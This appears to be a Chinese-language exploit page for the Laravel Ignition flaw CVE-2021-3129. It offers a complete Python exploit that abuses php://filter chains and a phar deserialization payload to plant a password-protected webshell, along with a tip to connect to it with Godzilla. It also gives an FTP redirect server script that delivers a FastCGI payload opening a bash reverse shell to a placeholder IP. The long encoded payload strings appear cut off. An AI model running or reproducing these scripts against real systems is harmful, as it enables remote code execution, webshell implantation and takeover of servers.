|
|||
|
|
## 漏洞 POC
|
|||
|
|
|
|||
|
|
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP/blob/main/laravel-CVE-2021-3129-EXP.py
|
|||
|
|
|
|||
|
|
```python
|
|||
|
|
# -*- coding: utf-8 -*-
|
|||
|
|
import requests,json
|
|||
|
|
import sys,re
|
|||
|
|
proxies = {
|
|||
|
|
"http": '127.0.0.1:8080'}
|
|||
|
|
|
|||
|
|
header={
|
|||
|
|
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0",
|
|||
|
|
"Content-Type":"application/json"
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
|
|||
|
|
def clearlog(url):
|
|||
|
|
data = {
|
|||
|
|
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
|
|||
|
|
"parameters": {
|
|||
|
|
"variableName":"username",
|
|||
|
|
"viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
req=requests.post(url,headers=header,data=json.dumps(data,indent=1))
|
|||
|
|
return req
|
|||
|
|
|
|||
|
|
def AA(url):
|
|||
|
|
data={
|
|||
|
|
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
|
|||
|
|
"parameters": {
|
|||
|
|
"variableName":"username",
|
|||
|
|
"viewFile": "AA"
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
req=requests.post(url,headers=header,data=json.dumps(data,indent=1))
|
|||
|
|
return req
|
|||
|
|
|
|||
|
|
def sendpayloadwindows(url):
|
|||
|
|
data={
|
|||
|
|
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
|
|||
|
|
"parameters": {
|
|||
|
|
"variableName":"username",
|
|||
|
|
"viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=71=00=2F=00=42=00=77=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=6F=00=42=00=77=00=41=00=41=00=54=00=7A=00=6F=00=7A=00=4D=00=6A=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=46=00=4E=00=35=00=63=00=32=00=78=00=76=00=5A=00=31=00=56=00=6B=00=63=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=32=00=39=00=6A=00=61=00=32=00=56=00=30=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=49=00=35=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=35=00=76=00=62=00=47=00=39=00=6E=00=58=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=4A=00=63=00=51=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=53=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=36=00=4E=00=7A=00=70=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=37=00=54=00=7A=00=6F=00=79=00=4F=00=54=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=45=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=63=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=55=00=32=00=6C=00=36=00=5A=00=53=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=6B=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=69=00=49=00=37=00=59=00=54=00=6F=00=78=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=32=00=4E=00=44=00=45=00=36=00=49=00=6D=00=56=00=6A=00=61=00=47=00=38=00=67=00=58=00=6A=00=77=00=2F=00=63=00=47=00=68=00=77=00=49=00=48=00=4E=00=6C=00=63=00=33=00=4E=00=70=00=62=00=32=00=35=00=66=00=63=00=33=00=52=00=68=00=63=00=6E=00=51=00=6F=00=4B=00=54=00=74=00=41=00=63=00=32=00=56=00=30=00=58=00=33=00=52=00=70=00=62=00=57=00=56=00=66=00=62=00=47=00=6C=00=74=00=61=00=58=00=51=00=6F=00=4D=00=43=00=6B=00=37=00=51=00=47=00=56=00=79=00=63=00=6D=00=39=00=79=00=58=00=33=00=4A=00=6C=00=63=00=47=00=39=00=79=00=64=00=47=00=6C=00=75=00=5A=00=79=00=67=00=77=00=4B=00=54=00=74=00=6D=00=64=00=57=00=35=00=6A=00=64=00=47=00=6C=00=76=00=62=00=69=00=42=00=46=00=4B=00=46=00=34=00=6B=00=52=00=43=00=78=00=65=00=4A=00=45=00=73=00=70=00=65=00=32=00=5A=00=76=00=63=00=69=00=68=00=65=00=4A=00=47=00=6B=00=39=00=4D=00=44=00=74=00=65=00=4A=00=47=00=6C=00=65=00=50=00=48=00=4E=00=30=00=63=00=6D=00=78=00=6C=00=62=00=69=00=68=00=65=00=4A=00=45=00=51=00=70=00=4F=00=31=00=34=00=6B=00=61=00=53=00=73=00=72=00=4B=00=53=00=42=00=37=00=58=00=69=00=52=00=45=00=57=00=31=00=34=00=6B=00=61=00=56=00=30=00=67=00=50=00=53=00=42=00=65=00=4A=00=45=00=52=00=62=00=58=00=69=00=52=00=70=00=58=00=56=00=35=00=65=00=58=00=69=00=52=00=4C=00=57=00=31=00=34=00=6B=00=61=00=53=00=73=00=78=00=58=00=69=00=59=00=78=00=4E=00=56=00=30=00=37=00=66=00=58=00=4A=00=6C=00=64=00=48=00=56=00=79=00=62=00=69=00=42=00=65=00=4A=00=45=00=51=00=37=00=66=00=57=00=5A=00=31=00=62=00=6D=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=46=00=45=00=6F=00=58=00=69=00=52=00=45=00=4B=00=58=00=74=00=79=00=5A=00=58=00=52=00=31=00=63=00=6D=00=34=00=67=00=59=00=6D=00=46=00=7A=00=5A=00=54=00=59=00=30=00=58=00=32=00=56=00=75=00=59=00=32=00=39=00=6B=00=5A=00=53=00=68=00=65=00=4A=00=45=00=51=00=70=00=4F=00=33=00=31=00=6D=00=6
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
req=requests.post(url,headers=header,data=json.dumps(data,indent=1))
|
|||
|
|
return req
|
|||
|
|
|
|||
|
|
def sendpayloadlinux(url):
|
|||
|
|
data={
|
|||
|
|
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
|
|||
|
|
"parameters": {
|
|||
|
|
"variableName":"username",
|
|||
|
|
"viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=72=00=39=00=43=00=41=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=6D=00=43=00=41=00=41=00=41=00=54=00=7A=00=6F=00=7A=00=4D=00=6A=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=46=00=4E=00=35=00=63=00=32=00=78=00=76=00=5A=00=31=00=56=00=6B=00=63=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=32=00=39=00=6A=00=61=00=32=00=56=00=30=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=49=00=35=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=35=00=76=00=62=00=47=00=39=00=6E=00=58=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=4A=00=63=00=51=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=53=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=36=00=4E=00=7A=00=70=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=37=00=54=00=7A=00=6F=00=79=00=4F=00=54=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=45=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=63=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=55=00=32=00=6C=00=36=00=5A=00=53=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=6B=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=69=00=49=00=37=00=59=00=54=00=6F=00=78=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=34=00=4D=00=44=00=41=00=36=00=49=00=6D=00=56=00=6A=00=61=00=47=00=38=00=67=00=55=00=45=00=51=00=35=00=64=00=32=00=46=00=49=00=51=00=57=00=64=00=4A=00=53=00=45=00=35=00=73=00=59=00=7A=00=4E=00=4F=00=63=00=47=00=49=00=79=00=4E=00=57=00=5A=00=6A=00=4D=00=31=00=4A=00=6F=00=59=00=32=00=35=00=52=00=62=00=30=00=74=00=55=00=64=00=45=00=46=00=6A=00=4D=00=6C=00=59=00=77=00=57=00=44=00=4E=00=53=00=63=00=47=00=4A=00=58=00=56=00=6D=00=5A=00=69=00=52=00=32=00=78=00=30=00=59=00=56=00=68=00=52=00=62=00=30=00=31=00=44=00=61=00=7A=00=64=00=52=00=52=00=31=00=5A=00=35=00=59=00=32=00=30=00=35=00=65=00=56=00=67=00=7A=00=53=00=6D=00=78=00=6A=00=52=00=7A=00=6C=00=35=00=5A=00=45=00=64=00=73=00=64=00=56=00=70=00=35=00=5A=00=33=00=64=00=4C=00=56=00=48=00=52=00=74=00=5A=00=46=00=63=00=31=00=61=00=6D=00=52=00=48=00=62=00=48=00=5A=00=69=00=61=00=55=00=4A=00=47=00=53=00=30=00=4E=00=53=00=52=00=55=00=78=00=44=00=55=00=6B=00=78=00=4C=00=57=00=48=00=52=00=74=00=59=00=6A=00=4E=00=4A=00=62=00=30=00=70=00=48=00=61=00=7A=00=6C=00=4A=00=52=00=45=00=46=00=6E=00=54=00=33=00=6C=00=53=00=63=00=46=00=42=00=49=00=54=00=6A=00=42=00=6A=00=62=00=58=00=68=00=73=00=59=00=6D=00=6C=00=6E=00=61=00=31=00=4A=00=44=00=61=00=7A=00=64=00=4B=00=52=00=32=00=74=00=79=00=53=00=33=00=6C=00=73=00=4E=00=30=00=70=00=46=00=55=00=6D=00=4A=00=4B=00=52=00=32=00=78=00=6B=00=55=00=46=00=4E=00=53=00=52=00=56=00=64=00=35=00=55=00=6E=00=42=00=59=00=56=00=6A=00=52=00=72=00=55=00=7A=00=46=00=7A=00=61=00=32=00=46=00=54=00=63=00=32=00=64=00=4E=00=55=00=30=00=46=00=74=00=53=00=55=00=52=00=46=00=4D=00=55=00=6C=00=47=00=4D=00=44=00=64=00=6D=00=57=00=45=00=70=00=73=00=5A=00=45=00=68=00=57=00=65=00=57=00=4A=00=70=00=55=00=6B=00=56=00=50=00=4D=00=7A=00=46=00=74=00=5A=00=46=00=63=00=31=00=61=00=6D=00=52=00=48=00=6
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
req=requests.post(url,headers=header,data=json.dumps(data,indent=1))
|
|||
|
|
return req
|
|||
|
|
|
|||
|
|
def filterlog(url):
|
|||
|
|
data={
|
|||
|
|
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
|
|||
|
|
"parameters": {
|
|||
|
|
"variableName": "username",
|
|||
|
|
"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
req=requests.post(url,headers=header,data=json.dumps(data,indent=1))
|
|||
|
|
return req
|
|||
|
|
|
|||
|
|
|
|||
|
|
def phar(url,path):
|
|||
|
|
data={
|
|||
|
|
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
|
|||
|
|
"parameters": {
|
|||
|
|
"variableName":"username",
|
|||
|
|
"viewFile": "phar://"+path+"\storage\\logs\\laravel.log\\test.txt"
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
req=requests.post(url,headers=header,data=json.dumps(data,indent=1))
|
|||
|
|
return req
|
|||
|
|
|
|||
|
|
def pharl(url,path):
|
|||
|
|
data={
|
|||
|
|
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
|
|||
|
|
"parameters": {
|
|||
|
|
"variableName":"username",
|
|||
|
|
"viewFile": "phar://"+path+"/storage/logs/laravel.log/test.txt"
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
req=requests.post(url,headers=header,data=json.dumps(data,indent=1))
|
|||
|
|
return req
|
|||
|
|
|
|||
|
|
def path(url):
|
|||
|
|
req=requests.get(url).text
|
|||
|
|
pattern = re.compile(r'(\#\d*\ (.*)(?:\/|\\)vendor)')
|
|||
|
|
m=pattern.findall(req)
|
|||
|
|
return m[0][1]
|
|||
|
|
|
|||
|
|
if __name__=='__main__':
|
|||
|
|
print(
|
|||
|
|
'''
|
|||
|
|
██████ ▓█████ ▄████▄ ██▓███ ██▀███ ▒█████ ██████
|
|||
|
|
▒██ ▒ ▓█ ▀ ▒██▀ ▀█ ▓██░ ██▒▓██ ▒ ██▒▒██▒ ██▒▒██ ▒
|
|||
|
|
░ ▓██▄ ▒███ ▒▓█ ▄ ▓██░ ██▓▒▓██ ░▄█ ▒▒██░ ██▒░ ▓██▄
|
|||
|
|
▒ ██▒▒▓█ ▄ ▒▓▓▄ ▄██▒▒██▄█▓▒ ▒▒██▀▀█▄ ▒██ ██░ ▒ ██▒
|
|||
|
|
▒██████▒▒░▒████▒▒ ▓███▀ ░▒██▒ ░ ░░██▓ ▒██▒░ ████▓▒░▒██████▒▒
|
|||
|
|
▒ ▒▓▒ ▒ ░░░ ▒░ ░░ ░▒ ▒ ░▒▓▒░ ░ ░░ ▒▓ ░▒▓░░ ▒░▒░▒░ ▒ ▒▓▒ ▒ ░
|
|||
|
|
░ ░▒ ░ ░ ░ ░ ░ ░ ▒ ░▒ ░ ░▒ ░ ▒░ ░ ▒ ▒░ ░ ░▒ ░ ░
|
|||
|
|
░ ░ ░ ░ ░ ░░ ░░ ░ ░ ░ ░ ▒ ░ ░ ░
|
|||
|
|
░ ░ ░░ ░ ░ ░ ░ ░
|
|||
|
|
░
|
|||
|
|
|
|||
|
|
''')
|
|||
|
|
url=sys.argv[1]+"/_ignition/execute-solution"
|
|||
|
|
clearlog(url)
|
|||
|
|
clearlog(url)
|
|||
|
|
clearlog(url)
|
|||
|
|
clearlog(url)
|
|||
|
|
clearlog(url)
|
|||
|
|
if(AA(url).status_code==500):
|
|||
|
|
if(":" in path(url)):
|
|||
|
|
print("windows")
|
|||
|
|
if(sendpayloadwindows(url).status_code==500):
|
|||
|
|
if(filterlog(url).status_code==200):
|
|||
|
|
if(phar(url,path(url)).status_code==500):
|
|||
|
|
if(requests.get(sys.argv[1]+"/fuckyou.php").status_code==200):
|
|||
|
|
print("[+]webshell地址:"+sys.argv[1]+"/fuckyou.php,密码:pass")
|
|||
|
|
else:
|
|||
|
|
print("[-]漏洞不存在")
|
|||
|
|
if(":" not in path(url)):
|
|||
|
|
print("linux")
|
|||
|
|
if(sendpayloadlinux(url).status_code==500):
|
|||
|
|
if(filterlog(url).status_code==200):
|
|||
|
|
if(pharl(url,path(url)).status_code==500):
|
|||
|
|
if(requests.get(sys.argv[1]+"/fuckyou.php").status_code==200):
|
|||
|
|
print("webshell地址:"+sys.argv[1]+"/fuckyou.php,密码:pass")
|
|||
|
|
else:
|
|||
|
|
print("[-]漏洞不存在")
|
|||
|
|
```
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
根据路径密码使用哥斯拉连接木马
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
**FTP 脚本**
|
|||
|
|
|
|||
|
|
```python
|
|||
|
|
# -*- coding: utf-8 -*-
|
|||
|
|
# @Time : 2021/1/13 6:56 下午
|
|||
|
|
# @Author : tntaxin
|
|||
|
|
# @File : ftp_redirect.py
|
|||
|
|
# @Software:
|
|||
|
|
|
|||
|
|
import socket
|
|||
|
|
from urllib.parse import unquote
|
|||
|
|
|
|||
|
|
# 对gopherus生成的payload进行一次urldecode
|
|||
|
|
payload = unquote("%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%07%07%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%19SCRIPT_FILENAME/var/www/public/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/xxx.xxx.xxx.xxx/9999%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00")
|
|||
|
|
payload = payload.encode('utf-8')
|
|||
|
|
|
|||
|
|
host = '0.0.0.0'
|
|||
|
|
port = 23
|
|||
|
|
sk = socket.socket()
|
|||
|
|
sk.bind((host, port))
|
|||
|
|
sk.listen(5)
|
|||
|
|
|
|||
|
|
# ftp被动模式的passvie port,监听到1234
|
|||
|
|
sk2 = socket.socket()
|
|||
|
|
sk2.bind((host, 1234))
|
|||
|
|
sk2.listen()
|
|||
|
|
|
|||
|
|
# 计数器,用于区分是第几次ftp连接
|
|||
|
|
count = 1
|
|||
|
|
while 1:
|
|||
|
|
conn, address = sk.accept()
|
|||
|
|
conn.send(b"200 \n")
|
|||
|
|
print(conn.recv(20)) # USER aaa\r\n 客户端传来用户名
|
|||
|
|
if count == 1:
|
|||
|
|
conn.send(b"220 ready\n")
|
|||
|
|
else:
|
|||
|
|
conn.send(b"200 ready\n")
|
|||
|
|
|
|||
|
|
print(conn.recv(20)) # TYPE I\r\n 客户端告诉服务端以什么格式传输数据,TYPE I表示二进制, TYPE A表示文本
|
|||
|
|
if count == 1:
|
|||
|
|
conn.send(b"215 \n")
|
|||
|
|
else:
|
|||
|
|
conn.send(b"200 \n")
|
|||
|
|
|
|||
|
|
print(conn.recv(20)) # SIZE /123\r\n 客户端询问文件/123的大小
|
|||
|
|
if count == 1:
|
|||
|
|
conn.send(b"213 3 \n")
|
|||
|
|
else:
|
|||
|
|
conn.send(b"300 \n")
|
|||
|
|
|
|||
|
|
print(conn.recv(20)) # EPSV\r\n'
|
|||
|
|
conn.send(b"200 \n")
|
|||
|
|
|
|||
|
|
print(conn.recv(20)) # PASV\r\n 客户端告诉服务端进入被动连接模式
|
|||
|
|
if count == 1:
|
|||
|
|
conn.send(b"227 127,0,0,1,4,210\n") # 服务端告诉客户端需要到哪个ip:port去获取数据,ip,port都是用逗号隔开,其中端口的计算规则为:4*256+210=1234
|
|||
|
|
else:
|
|||
|
|
conn.send(b"227 127,0,0,1,35,40\n") # 端口计算规则:35*256+40=9000
|
|||
|
|
|
|||
|
|
print(conn.recv(20)) # 第一次连接会收到命令RETR /123\r\n,第二次连接会收到STOR /123\r\n
|
|||
|
|
if count == 1:
|
|||
|
|
conn.send(b"125 \n") # 告诉客户端可以开始数据链接了
|
|||
|
|
# 新建一个socket给服务端返回我们的payload
|
|||
|
|
print("建立连接!")
|
|||
|
|
conn2, address2 = sk2.accept()
|
|||
|
|
conn2.send(payload)
|
|||
|
|
conn2.close()
|
|||
|
|
print("断开连接!")
|
|||
|
|
else:
|
|||
|
|
conn.send(b"150 \n")
|
|||
|
|
print(conn.recv(20))
|
|||
|
|
exit()
|
|||
|
|
|
|||
|
|
# 第一次连接是下载文件,需要告诉客户端下载已经结束
|
|||
|
|
if count == 1:
|
|||
|
|
conn.send(b"226 \n")
|
|||
|
|
conn.close()
|
|||
|
|
count += 1
|
|||
|
|
```
|